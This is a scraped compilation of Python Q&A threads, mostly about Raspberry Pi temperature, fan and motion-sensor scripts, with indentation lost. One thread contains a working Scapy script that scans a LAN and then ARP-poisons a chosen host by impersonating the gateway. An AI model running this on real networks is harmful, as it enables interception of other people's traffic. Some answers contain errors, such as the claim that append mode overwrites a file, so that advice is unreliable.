escape symbols in python script - python

I write some automation python script for my rpi project ... here the part of script :
import socket
import sys
import platform
import uuid
import psutil
import subprocess
import os
import RPi.GPIO as GPIO
import time
from subprocess import call
def measure_temp():
temp = os.popen("vcgencmd measure_temp").readline()
return (temp.replace("temp=","").replace("'C\n",""))
while True:
print
print 'Hostname:' +socket.gethostname()
print 'Machine :' +platform.machine()
print
print 'CPU Usage:'
print(psutil.cpu_percent())
print
print 'MEM Usage:'
print(psutil.virtual_memory().percent)
print
print 'Disk Usage:'
print(psutil.disk_usage('/').percent)
print
print 'CPU Temp:'
if measure_temp() == "50.1":
GPIO.setmode(GPIO.BCM)
GPIO.setwarnings(False)
GPIO.setup(22,GPIO.OUT)
print "Fan on"
GPIO.output(22,GPIO.HIGH)
time.sleep(50)
print "Fan off"
GPIO.output(22,GPIO.LOW)
time.sleep(10)
GPIO.cleanup()
print(measure_temp())
time.sleep(10)
os.system('clear')
print 'end'
my problem is in this line :
if measure_temp() == "50.1":
I want escape all symbols after first number like this :
if measure_temp() == "5\":
but it does not work. How can I solve this problem?

measure_temp() seems to return a string. I would convert this to a float type first and then check if the value is greater than 50.
if float(measure_temp()) >= 50:
# Your code
You would need to be certain that measure_temp always returned a string that could be converted to a float.

You may replace your measure_temp() with the following, that returns float, that is easier to deal with:
def measure_temp():
temp = os.popen("vcgencmd measure_temp").readline()
try :
t = re.findall( r'temp=([\d\.]+)', temp )
t = float(t[0])
except : # something went wrong
print 'unable to convert the temperature:', temp
t = 20.0 # room temperature
pass
return t
and import re somewhere in the beginning of the file.
Once done, you may compare the temperature value with the numbers, like if temperature > 50 or something.
And just in case you're wondering, your recent changes 'if float(measure_temp()) >= 50:' will eventually break when vcgencmd stalls or returns an empty string or something that cannot be easily converted to float, you ought to handle exceptions for your scripts to run smoothly.

Related

How to monitor child's output before promt?

Here is an example code of a slow application. (Imagine the boot of a Linux) This is the DUT, which should be controlled.
#linux.py
import time
print('Loading kernel ......')
time.sleep(0.5)
print('Loading foo [ OK ]')
time.sleep(0.5)
print('Loading bar [ OK ]')
time.sleep(0.5)
input('login> ')
I want to control via pexpect python script like the following.
# controller.py
import pexpect
import sys
pybin = sys.executable
command = pybin + ' linux.py'
p = pexpect.spawn(command)
p.expect('> ', timeout = 5)
print(p.before.decode(), end='')
print(p.match.group(0).decode())
p.sendline('')
It is OK, but I cannot get the console's output of the "Linux.py's" boot before total boot-up. I mean, I didn't get feedback before the login prompt. Imagine, there is an error during the boot-up. The script above will fail with timeout exception.
My GOAL
To monitor the child process and print it's output while waiting to prompt. How can it be done?
Solution 1
I found an easy way based on this question
# controller.py
import pexpect
import sys
pybin = sys.executable
command = pybin + ' linux.py'
p = pexpect.spawn(command)
while True:
# The return value is the index of the matched string
i=p.expect(['> ', '\n'], timeout = 5)
print(p.before.decode(), end='')
print(p.match.group(0).decode(), end='')
if i==0:
break
print()
p.sendline('')
The key is to wait on multiple "expected string". Then decide which is the real prompt and which is the line end. This solution works if the error is terminated with a newline character.
Solution 2
Other way is to use small timeout and print the proper chunk of the before string:
# controller.py
import pexpect
import sys
pybin = sys.executable
command = pybin + ' linux.py'
p = pexpect.spawn(command)
timeout_cnt = 0
print_idx = 0
while True:
try:
i=p.expect('> ', timeout = 1)
# prompt has arrived
break
except pexpect.TIMEOUT:
timeout_cnt += 1
if timeout_cnt>30:
# A real timeout has occured
raise
finally:
print(p.before.decode()[print_idx:], end='')
print_idx = len(p.before.decode())
print(p.match.group(0).decode(), end='')
print()
p.sendline('')

IndentationError: unexpected indent...FRUSTRATING

I'm very new at Python scripting and am working on a script to turn on a fan when my Raspberry Pi3 reaches a specific temp. I've been trying to debug my code all day and found I can't figure out what's wrong. Here is my code:
import os
import sys
import signal
import subprocess
import atexit
import time
from time import sleep
import RPi.GPIO as GPIO
pin = 18
maxTMP = 60
def setup():
GPIO.setmode(GPIO.BCM)
GPIO.setup(pin, GPIO.OUT)
GPIO.setwarnings(False)
return()
def setPin(mode):
GPIO.output(pin, mode)
return()
def exit_handler():
GPIO.cleanup()
def FanON():
SetPin(True)
return()
def FanOFF():
SetPin(False)
return()
try:
setup()
while True:
process = subprocess.Popen('/opt/vc/bin/vcgencmd measure_temp',stdout =
subprocess.PIPE,shell=True)
temp,err = process.communicate()
temp = str(temp).replace("temp=","")
temp = str(temp).replace("\'C\n","")
temp = float(temp)
if temp>maxTMP:
FanON()
else:
FanOFF()
sleep(5)
finally:
exit_handler()
Here is my error:
File "/home/pi/Scripts/run-fan.py", line 36
while True:
^
IndentationError: unexpected indent
I've tried to indent every way possible. I need help.
Thanks!
I want to preface this with, you should use four spaces for your indentation. If you do, it will be way, way easier to see problems like the one you have here. If you use an IDE like Spyder or PyCharm, there are settings that automatically highlight indentation problems for you (regardless of how many spaces you want to use).
That said, with your current indentation scheme of one-space-per-indent, you want to replace your bottom block with this:
try:
setup()
while True:
process = subprocess.Popen('/opt/vc/bin/vcgencmd measure_temp',stdout =
subprocess.PIPE,shell=True)
temp,err = process.communicate()
temp = str(temp).replace("temp=","")
temp = str(temp).replace("\'C\n","")
temp = float(temp)
if temp>maxTMP:
FanON()
else:
FanOFF()
sleep(5)
If you used four spaces instead of one on your original code, it would have looked like this:
try:
setup()
while True:
process = subprocess.Popen('/opt/vc/bin/vcgencmd measure_temp',stdout =
subprocess.PIPE,shell=True)
temp,err = process.communicate()
temp = str(temp).replace("temp=","")
temp = str(temp).replace("\'C\n","")
temp = float(temp)
if temp>maxTMP:
FanON()
else:
FanOFF()
sleep(5)
There's another problem here, which is that your while True block will currently never exit (maybe you want a break statement somewhere).

Arp Scanner built on Scapy doesn't return all clients

I'm trying to build a arp scanner script with Scapy. Everytime I perform a scan, I don't get the expected result. I get only two responses: one from the gateway and another one from my host machine (I'm performing the scan from a virtual machine Kali). Sometimes, I only get one more response, that's all. But, when I'm doing a ARP discovery with another tool (like Nmap), I get all expected responses (from eight machines). What's wrong in my code guys ? Can you help me ? :-(.
from scapy.all import *
import sys
from datetime import datetime
def Out():
print "\nBye!"
sys.exit(1)
try:
os.system('clear')
interface = raw_input("Enter interface : ")
ips = raw_input("Enter network address : ")
collection = []
print "Scanning..."
start_time = datetime.now()
conf.verb = 0
ans, unans = srp(Ether(dst="FF:FF:FF:FF:FF")/ARP(pdst=ips),iface=interface,timeout=2,inter=0.5) #Arp scanner starts here
n=0
for snd,rcv in ans:
result = rcv.sprintf(r"%Ether.src% : %ARP.psrc%")
collection.append(result) #append to collection
print n, "-", collection[n]
n=n+1
stop_time = datetime.now()
print "\nScan done in ", stop_time - start_time, " seconds."
if n > 0:
target=raw_input("\nPlease enter host to arp poison : ")
gw_addr=raw_input("Enter the gateway address : ")
print "\nArp poison on host", target, "starting...\nHit Ctrl + C to Stop.\n"
p=ARP(pdst=target,psrc=gw_addr) #arp poison attack starts here
send(p,inter=RandNum(10,40),loop=1)
else:
Out()
except KeyboardInterrupt:
Out()
try to make the tool work infinitely and use that code to re-print the results
import sys
print"\rthe result",
sys.stdout.flush()
I think that first result gave you the only this moment traffics and the Infinit loop will monitor all the result.
I hope you find it out ;)

Sensor data log csv in python

I am new to programming and want to write a code for an infrared sensor to log a timestamp in a .csv file whenever it detects motion. So far I have found code for the detection but now need to add code to specify for it to write an entry in a csv file. Credits for motion detection code: https://www.modmypi.com/blog/raspberry-pi-gpio-sensing-motion-detection
import RPi.GPIO as GPIO
import time
GPIO.setmode(GPIO.BCM)
PIR_PIN = 7
GPIO.setup(PIR_PIN, GPIO.IN)
def MOTION(PIR_PIN):
print ("Motion Detected")
print ("PIR Module Test (CTRL+C to exit)")
time.sleep(2)
print ("Ready")
try:
GPIO.add_event_detect(PIR_PIN, GPIO.RISING, callback=MOTION)
while 1:
time.sleep(100)
except KeyboardInterrupt:
print("Quit")
GPIO.cleanup()
Next I am trying to add something along the following lines which will then write in two columns TIMESTAMP and "motion detected":
import csv
import strftime
row = [strfttime("%a, %d %b %Y %H:%M:%S"), motion_detected]
with open('datalog.csv', 'a') as f:
w = csv.writer(f)
w.writerow(row)
I have only found ways to write to CSV's from static files so they didn't seem to provide a straightforward answer to my question. So any help in joining these codes or correcting the second would be great!
import RPi.GPIO as GPIO
import time
import csv
import strftime
GPIO.setmode(GPIO.BCM)
PIR_PIN = 7
GPIO.setup(PIR_PIN, GPIO.IN)
def MOTION(PIR_PIN):
print ("Motion Detected")
print ("PIR Module Test (CTRL+C to exit)")
row = [strfttime("%a, %d %b %Y %H:%M:%S"), 'motion_detected']
with open('datalog.csv', 'a') as f:
w = csv.writer(f)
w.writerow(row)
time.sleep(2)
print ("Ready")
try:
GPIO.add_event_detect(PIR_PIN, GPIO.RISING, callback=MOTION)
while 1:
time.sleep(100)
except KeyboardInterrupt:
print("Quit")
GPIO.cleanup()
Note: For a string motion detected, you need to add quotaion marks around it(in Python both single and double ones are supported).

Python write GPIO values

I am a complete noob using a Raspberry Pi trying to make a program that would track instances of movement with a PIR sensor set on GPIO 4, now the program works without any issues until I try to export the data, long story short, I try gspread, and ubidots and both won't work, even just with a test file. So my next attempt is a simple txt file that will capture time and date, and would write a 1.
this is what I have:
import time
import datetime
import RPi.GPIO as GPIO
sensor = 4
GPIO.setmode(GPIO.BCM)
GPIO.setup(sensor, GPIO.IN, GPIO.PUD_DOWN)
prevstate = False
currState = False
while True:
time.sleep(0.1)
prevState = currState
currState = GPIO.input(sensor)
if currState != prevState:
newState = "1" if currState else "0"
print("GPIO pin %s is %s" % (sensor, newState))
try:
values = [datetime.datetime.now(), newState]
with open("test.txt", "a") as text_file:
text_file.write("values")
time.sleep(1.5)
So i don't really don't now why but everything works until I hit the value section, and then I get a unindent error, if I remove from try down i get nothing
I did had before:
except:
print: "cannot open file"
but that really wasn't any issue there. the unindent still comes up.
You have indentation issues. It looks like you started allowing Idle to tab - 8 for indentation then switched to 4. You need to unindent and re-indent everything.
The way you are handling your file, you will overwrite it every time through. You will end up with only one entry in the file. Try opening the file before your main loop:
import time
import datetime
import RPi.GPIO as GPIO
sensor = 4
GPIO.setmode(GPIO.BCM)
GPIO.setup(sensor, GPIO.IN, GPIO.PUD_DOWN)
prevstate = False
currState = False
with open("test.txt", "a") as text_file:
while True:
time.sleep(0.1)
prevState = currState
currState = GPIO.input(sensor)
if currState != prevState:
newState = "1" if currState else "0"
print("GPIO pin %s is %s" % (sensor, newState))
try:
values = [datetime.datetime.now(), newState]
text_file.write("values")
except:
print "cannot open file"
get rid of the colon ":" after print, and that sleep after your main loop was not doing anything.
You must always follow the try statement with an except or finally statement, but you mentioned that you also got the error with the try statement? Did that also include the : after print (it shouldn't)? This should work:
try:
values = [datetime.datetime.now(), newState]
with open("test.txt", "a") as text_file:
text_file.write(values)
except:
print: "cannot open file"
Notice that I also removed the quotes around values in text_file.write(values).

Categories